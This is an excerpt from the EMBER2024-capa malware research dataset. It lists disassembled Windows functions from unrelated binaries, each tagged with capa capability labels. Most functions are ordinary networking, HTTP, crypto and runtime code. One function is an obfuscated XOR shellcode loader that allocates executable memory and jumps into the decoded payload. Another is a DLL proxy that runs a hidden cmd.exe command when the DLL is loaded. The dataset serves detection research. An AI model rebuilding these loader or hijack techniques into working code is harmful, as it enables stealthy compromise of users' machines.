joyce8/EMBER2024-capa huggingface dataset:
Function at 0x53b470
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0x1f
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push ebx
mov ebx, dword [eax + 0x128]
mov dword [ebp - 4], eax
jne 0x53b5be
push esi
push edi
lea edi, [ebx + 0x1cb0]
lea esi, [ebx + 0x1eb0]
mov dword [esi], edi
cmp edi, esi
jae 0x53b4a6
mov byte [edi], 0xff
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x53b4b1
mov byte [eax], 0xfa
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x53b4bc
mov byte [eax], 0x1f
inc dword [esi]
movzx ecx, word [ebx + 0x1ca8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
movzx edx, ax
movzx eax, word [ebx + 0x1caa]
push eax
mov dword [ebp + 0xc], edx
call dword [sym.imp.WS2_32.dll_htons]
movzx ecx, ax
mov eax, dword [esi]
cmp eax, esi
jae 0x53b4ee
mov dl, byte [ebp + 0xc]
mov byte [eax], dl
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x53b4fb
mov dl, byte [ebp + 0xd]
mov byte [eax], dl
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x53b505
mov byte [eax], cl
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x53b50f
mov byte [eax], ch
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x53b51a
mov byte [eax], 0xff
inc dword [esi]
mov eax, dword [esi]
cmp eax, esi
jae 0x53b525
mov byte [eax], 0xf0
inc dword [esi]
mov eax, dword [esi]
mov dword [ebx + 0x1eb4], eax
sub eax, edi
sub eax, 2
push eax
mov dword [esi], edi
mov esi, dword [ebp - 4]
lea eax, [ebx + 0x1cb2]
push 0x3e
call fcn.0053aa20
mov esi, dword [sym.imp.WS2_32.dll_send]
add esp, 8
push 0
push 3
push edi
mov edi, dword [ebp + 8]
mov edx, dword [edi + 0x190]
push edx
call esi
test eax, eax
jns 0x53b57b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov eax, dword [ebp - 4]
push str.Sending_data_failed___d_
push eax
call fcn.00526ee0
add esp, 0xc
lea ecx, [ebx + 0x1cb3]
push 4
push ecx
call fcn.0053b320
mov edx, dword [edi + 0x190]
add esp, 8
push 0
push 2
add ebx, 0x1cb7
push ebx
push edx
call esi
pop edi
pop esi
test eax, eax
jns 0x53b5be
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov eax, dword [ebp - 4]
push str.Sending_data_failed___d_
push eax
call fcn.00526ee0
add esp, 0xc
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x53c070
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x5b47a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
mov ebx, dword [esi + 0x194]
mov eax, dword [esi]
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x14]
push edx
push ebx
mov dword [ebp - 0x1c], eax
or edi, 0xffffffff
mov dword [ebp - 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x53c0c5
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x14]
push ecx
push ebx
mov dword [ebp - 0x18], 0x10
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
push ebx
push esi
call fcn.00529ee0
add esp, 8
cmp edi, 0xffffffff
jne 0x53c0fb
mov edx, dword [ebp - 0x1c]
push str.Error_accept__ing_server_connect
push edx
call fcn.00526ee0
add esp, 8
pop edi
pop esi
mov eax, 0x1e
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fff81
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x1c]
push str.Connection_accepted_from_server_n
push ebx
call fcn.00526e60
push 1
push edi
mov dword [esi + 0x3c8], 0
mov dword [esi + 0x194], edi
call fcn.0054a740
mov dword [esi + 0x1a4], 1
mov eax, dword [ebx + 0x1b0]
add esp, 0x10
test eax, eax
je 0x53c166
mov ecx, dword [ebx + 0x1b4]
push 1
push edi
push ecx
call eax
add esp, 0xc
test eax, eax
je 0x53c166
call fcn.0053bfa0
pop edi
pop esi
mov eax, 0x2a
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fff81
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004fff81
mov esp, ebp
pop ebp
ret
Function at 0x53f800
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
push ebx
mov ebx, dword [edi]
shr eax, 0x1f
push esi
add eax, edx
xor esi, esi
cmp eax, 2
je 0x53f834
push str.Couldnt_set_desired_mode
push ebx
call fcn.00526ee0
add esp, 8
lea eax, [esi + 0x11]
pop esi
pop ebx
pop ebp
ret
cmp ecx, 0xc8
je 0x53f84b
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push ebx
call fcn.00526e60
add esp, 0xc
mov eax, dword [ebp + 8]
cmp eax, 0x13
jne 0x53f862
push edi
call fcn.0053f790
add esp, 4
mov esi, eax
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x14
jne 0x53f876
push edi
call fcn.0053cc20
add esp, 4
mov esi, eax
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x15
jne 0x53f888
mov eax, edi
call fcn.0053f7e0
mov esi, eax
pop esi
pop ebx
pop ebp
ret
cmp eax, 0x16
jne 0x53f896
mov eax, edi
call fcn.0053f7f0
mov esi, eax
mov eax, esi
pop esi
pop ebx
pop ebp
ret
Function at 0x546cd0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x5b47a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.0051702b
add esp, 4
mov byte [ebp - 0x108], 0
test eax, eax
je 0x546d34
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [ebp - 0x108], 0
je 0x546d34
lea edx, [ebp - 0x108]
push edx
call dword [0x5b5c80]
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fff81
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.004fff81
mov esp, ebp
pop ebp
ret

Function at 0x546d50
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00546cd0

Function at 0x54bc00
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x2c]
push ebx
mov ebx, dword [ecx]
mov dword [ebp - 4], ecx
mov ecx, dword [ebx + 0x1ec]
push esi
push edi
mov esi, ecx
test ecx, ecx
jne 0x54bc21
mov esi, dword [eax + 0x28]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x20]
push ecx
push edx
call fcn.005268e0
push edx
push eax
call fcn.00526910
mov ecx, eax
mov eax, esi
mov dword [ebp + 8], edx
cdq
add esp, 0x10
mov edi, eax
sub edi, ecx
mov esi, edx
sbb esi, dword [ebp + 8]
cmp dword [ebx + 0x1e0], 0
je 0x54bc8d
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x184]
mov eax, dword [eax + 0x180]
push edx
push eax
call fcn.005268e0
push edx
push eax
call fcn.00526910
mov ecx, eax
mov eax, dword [ebx + 0x1e0]
mov dword [ebp + 8], edx
cdq
add esp, 0x10
sub eax, ecx
sbb edx, dword [ebp + 8]
cmp esi, edx
jl 0x54bc8d
jg 0x54bc91
cmp edi, eax
jae 0x54bc91
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x54cf00
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push esi
mov byte [esi], 0
call dword [sym.imp.WS2_32.dll_gethostname]
mov byte [esi + edi - 1], 0
test eax, eax
jne 0x54cf33
push 0x2e
push esi
call fcn.0050df50
add esp, 8
test eax, eax
je 0x54cf31
mov byte [eax], 0
xor eax, eax
pop edi
pop esi
pop ebp
ret
Function at 0x54d010
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5b47a0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 0x1c]
mov esi, 8
push eax
mov dword [ebp - 0x20], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x54d0a1
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], esi
lea esi, [ebp - 0xc]
mov eax, ebx
mov word [ebp - 0x18], 0x208
mov dword [ebp - 0x14], 0x6601
call fcn.0054cf80
mov ecx, esi
push 8
push ecx
call fcn.00551fa0
mov ecx, dword [ebp - 0x1c]
add esp, 8
lea edx, [ebp - 0x24]
push edx
push 0
push 0
push 0x14
lea eax, [ebp - 0x18]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x54d0b2
mov edx, dword [ebp - 0x1c]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004fff81
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov dword [edi], ecx
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x20]
push eax
lea ecx, [ebp - 0x20]
push ecx
push edi
push 0
push 0
mov dword [edi + 4], edx
mov edx, dword [ebp - 0x24]
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov ecx, dword [ebp - 0x1c]
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.004fff81
mov esp, ebp
pop ebp
ret
Function at 0x54d220
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x54d231
sub eax, edx
mov esi, eax
lea eax, [esi + esi]
push eax
mov dword [ebp - 0xc], eax
call dword [0x5b5c74]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x54d25c
pop edi
pop esi
lea eax, [ebx + 0x1b]
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, ebx
call fcn.0054d1f0
push 0xf0000000
push 1
push 0
push 0
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [ebp + 0x10]
test eax, eax
je 0x54d2db
mov edx, dword [ebp - 8]
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0x8002
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x54d2cf
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
push 0
push eax
push ebx
push ecx
mov dword [ebp - 0x10], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
mov eax, dword [ebp - 4]
push 0
lea edx, [ebp - 0x10]
push edx
push esi
push 2
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov edx, dword [ebp - 8]
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov dword [esi + 0x10], eax
push ebx
mov byte [esi + 0x14], al
call dword [0x5b5c78]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x54fa10
Capabilities:
Read file on windows

Disassembly:
push edi
mov edi, eax
mov eax, dword [esi]
cmp dword [eax + 4], 3
jne 0x54fa32
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x54fa26
xor eax, eax
pop edi
ret
mov eax, dword [eax + 8]
push eax
push edi
push 1
push ebx
call ecx
jmp 0x54fa62
cmp dword [esi + 8], 0
jne 0x54fa55
mov ecx, dword [eax + 8]
push 0x562fbc
push ecx
call fcn.005005b5
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x54fa55
or eax, 0xffffffff
pop edi
ret
mov edx, dword [esi + 8]
push edx
push edi
push 1
push ebx
call fcn.0050048c
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x54fa84
mov eax, dword [esi + 8]
test eax, eax
je 0x54fa7e
push eax
call fcn.004ffffd
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, edi
pop edi
ret
Function at 0x552c20
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x14]
lea eax, [ecx + eax*2 + 0xc]
push edi
push eax
call dword [0x5b5c74]
mov edi, eax
add esp, 4
test edi, edi
jne 0x552c4b
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], eax
mov edx, dword [esi + 0xc]
add edx, eax
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], edx
cmp ebx, dword [esi + 0x10]
jbe 0x552c92
push eax
mov eax, dword [esi]
call eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push ebx
push ecx
push edx
call eax
mov ebx, dword [edi + 8]
mov ecx, dword [edi + 4]
add ebx, dword [esi + 0xc]
mov edx, dword [esi + 8]
push ecx
push ebx
call edx
mov eax, dword [esi + 0x14]
add esp, 0x18
mov dword [ebp + 0x10], eax
jmp 0x552c95
mov ebx, dword [ebp + 0xc]
mov ecx, dword [edi + 4]
mov edx, dword [esi]
push ecx
call edx
mov eax, dword [edi + 8]
mov ecx, dword [esi]
push eax
call ecx
mov eax, dword [ebp + 0x10]
add esp, 8
mov dword [ebp - 4], 0
test eax, eax
je 0x552cf6
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea esp, [esp]
mov dl, byte [ebx]
xor dl, 0x36
mov byte [ebp + 0xb], dl
mov ecx, dword [edi + 4]
mov edx, dword [esi + 4]
push 1
lea eax, [ebp + 0xb]
push eax
push ecx
call edx
mov al, byte [ebx]
xor al, 0x5c
mov byte [ebp + 0xb], al
mov edx, dword [edi + 8]
mov eax, dword [esi + 4]
push 1
lea ecx, [ebp + 0xb]
push ecx
push edx
inc ebx
call eax
add esp, 0x18
dec dword [ebp - 8]
jne 0x552cc0
mov ecx, dword [ebp - 4]
pop ebx
cmp ecx, dword [esi + 0x10]
jae 0x552d2f
nop
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push 1
push 0x5960bd
push edx
call eax
mov ecx, dword [edi + 8]
mov edx, dword [esi + 4]
push 1
push 0x5960be
push ecx
call edx
mov eax, dword [ebp - 4]
inc eax
add esp, 0x18
mov dword [ebp - 4], eax
cmp eax, dword [esi + 0x10]
jb 0x552d00
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x553cd6
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x553cfd
call fcn.00503464
mov dword [eax], esi
call fcn.00503451
push 0x16
pop esi
mov dword [eax], esi
call fcn.005078ac
mov eax, esi
jmp 0x553d52
test dword [ebp + 0xc], 0xfffffff9
jne 0x553ce3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x553d2a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00503477
pop ecx
call fcn.00503451
mov eax, dword [eax]
jmp 0x553d52
test al, 0x10
jne 0x553d50
test al, 1
je 0x553d50
test byte [ebp + 0xc], 2
je 0x553d50
call fcn.00503464
mov dword [eax], 5
call fcn.00503451
mov dword [eax], 0xd
jmp 0x553d21
xor eax, eax
pop esi
pop ebp
ret
Function at 0x1002cba2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1002cbb1
pop dword [ebp - 0x28]
mov eax, 0x2a68e20c
add eax, 0xe599e9a5
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x25ae0bdc
sub dword [ebp - 0x38], 0xd75bc691
mov dword [ebp - 0x34], 0x52846c11
add dword [ebp - 0x34], 0xdfaee034
mov dword [ebp - 0x30], 0x3aa83496
add dword [ebp - 0x30], 0x11a40f98
mov dword [ebp - 0x2c], 0x4d02eebb
add dword [ebp - 0x2c], 0xb2fd1145
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xfda1b183
sub dword [ebp - 0x38], 0x892f482d
mov dword [ebp - 0x34], 0xb005ccd
add dword [ebp - 0x34], 0x366c04a8
mov dword [ebp - 0x30], 0xe2472878
add dword [ebp - 0x30], 0x812843f4
mov dword [ebp - 0x2c], 0x82f7fc76
sub dword [ebp - 0x2c], 0x82f7fc76
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x73087e74
sub eax, 0x6302ee34
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x627e8
push 0
call eax
mov ecx, 0xf2accdcb
sub ecx, 0xf2ac7275
mov edi, eax
mov edx, 0xde777d0a
sub edx, 0xce70e90a
add edx, dword [ebp - 0x28]
mov esi, 0xb69c8c49
sub esi, 0x3757c6da
mov dword [ebp - 8], 0x1b41faa6
mov ebx, dword [edx]
xor ebx, esi
sub dword [ebp - 8], esi
mov dword [edi], ebx
sub dword [ebp - 0xc], 0x35235c3d
add edi, 4
add edx, 4
loop 0x1002ccce
add eax, 0x5aea4e0c
add eax, 0xa517121f
mov ebx, eax
add eax, 0x6f891d03
add eax, 0x9076e302
mov ecx, 0x8dd69103
add ecx, 0x82296efd
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10001000
Capabilities:
Create process on windows
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub eax, 0
je 0x1000106b
sub eax, 1
jne 0x1000107d
push esi
push eax
push str.cmd.exe__C___phantombp__
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, 0x5a4d
mov dword [0x1001b368], esi
cmp word [esi], ax
jne 0x10001064
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x10001064
mov ecx, 0x10b
cmp word [eax + esi + 0x18], cx
jne 0x10001064
mov eax, dword [eax + esi + 0x78]
add eax, esi
mov dword [0x1001b36c], eax
mov eax, 1
pop esi
pop ebp
ret 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc
cmp dword [ebp + 0x10], 0
jne 0x1000107d
push dword [0x1001b370]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
pop ebp
ret 0xc
Function at 0x10001090
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x1001a040]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, word [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x214], ecx
push ebx
push esi
push edi
test ax, ax
je 0x1000121b
mov ebx, eax
mov eax, dword [0x1001b36c]
mov edi, ebx
mov dword [ebp - 0x218], ebx
sub edi, dword [eax + 0x10]
cmp edi, dword [eax + 0x14]
jae 0x1000121b
xor ecx, ecx
mov edx, 0x1001b370
xor eax, eax
lock cmpxchg dword [edx], ecx
mov esi, eax
test esi, esi
jne 0x1000117d
mov eax, dword [0x1001b36c]
push 0x104
mov esi, dword [eax + 0xc]
lea eax, [ebp - 0x20c]
add esi, dword [0x1001b368]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1000121b
push esi
mov ecx, 0x104
sub ecx, eax
push str._hs
push ecx
lea ecx, [ebp - 0x20c]
lea eax, [ecx + eax*2]
push eax
call fcn.10001240
add esp, 0x10
test eax, eax
js 0x1000121b
push 8
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
je 0x1000121b
mov ecx, esi
xor eax, eax
mov edx, 0x1001b370
lock cmpxchg dword [edx], ecx
mov dword [ebp - 0x210], eax
test eax, eax
je 0x1000117d
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [ebp - 0x210]
mov edx, dword [ebp - 0x214]
xor ecx, ecx
xor eax, eax
lock cmpxchg dword [edx], ecx
mov edx, eax
test edx, edx
jne 0x10001206
mov eax, dword [0x1001b36c]
xor ecx, ecx
mov ebx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
add ebx, dword [0x1001b368]
mov eax, dword [eax + 0x18]
add edx, dword [0x1001b368]
mov dword [ebp - 0x21c], ebx
mov ebx, dword [ebp - 0x218]
mov dword [ebp - 0x210], eax
test eax, eax
je 0x100011e5
movzx eax, word [edx + ecx*2]
cmp edi, eax
je 0x100011d6
inc ecx
cmp ecx, dword [ebp - 0x210]
jb 0x100011c3
jmp 0x100011e5
mov eax, dword [ebp - 0x21c]
mov ebx, dword [eax + ecx*4]
add ebx, dword [0x1001b368]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
test edx, edx
je 0x10001206
mov esi, dword [ebp - 0x214]
mov ecx, edx
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
cmovne edx, eax
pop edi
pop esi
mov eax, edx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001419
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001419
mov esp, ebp
pop ebp
ret 8

Function at 0x10006a02
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10006a41
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10006a41
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10006a41
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10006a41
cmp dword [ecx + 0x74], 0xe
jbe 0x10006a41
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000a85f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000a8fc
push ebx
push esi
call fcn.1000a828
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000a7bc
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000a8a9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000a8fb
push edi
push eax
call fcn.10007850
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000a8c9
call fcn.10007816
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000a8fa
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000a7bc
add esp, 0x20
test eax, eax
jne 0x1000a8e8
push edi
call fcn.10007816
jmp 0x1000a8f0
push ebx
call fcn.10007816
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000ab69
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014b58
push 0x10014b50
push str.FlsAlloc
push 0x1f
call fcn.1000aa85
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000ab9d
push dword [ebp + 8]
mov ecx, esi
call dword [0x10013114]
call esi
jmp 0x1000aba3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000abe7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014b68
push 0x10014b60
push str.FlsGetValue
push 0x21
call fcn.1000aa85
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000ac1e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10013114]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000ac26
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014b70
push 0x10014b68
push str.FlsSetValue
push 0x22
call fcn.1000aa85
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000ac60
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10013114]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x43b29e
Capabilities:
Terminate process

Disassembly:
jmp 0x456020
jmp fcn.004634b0
cmp ecx, dword [0x4cf110]
jne 0x45602a
repz ret
jmp 0x43b974